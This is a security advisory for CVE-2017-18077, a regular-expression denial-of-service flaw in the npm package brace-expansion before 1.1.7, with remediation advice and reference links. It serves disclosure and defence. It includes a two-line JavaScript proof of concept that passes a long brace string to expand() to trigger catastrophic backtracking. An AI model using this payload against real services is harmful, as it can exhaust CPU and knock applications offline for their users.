GHSA-832h-xg76-4gv6HighCVSS 7.5
ReDoS in brace-expansion
🔗 CVE IDs covered (1)
📋 Description
Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.
Proof of Concept
var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');
Recommendation
Update to version 1.1.7 or later.
🎯 Affected products1
- npm/brace-expansion:< 1.1.7
🔗 References (7)
- https://nvd.nist.gov/vuln/detail/CVE-2017-18077
- https://github.com/juliangruber/brace-expansion/issues/33
- https://github.com/juliangruber/brace-expansion/pull/35
- https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3
- https://github.com/advisories/GHSA-832h-xg76-4gv6
- https://www.npmjs.com/advisories/338
- https://bugs.debian.org/862712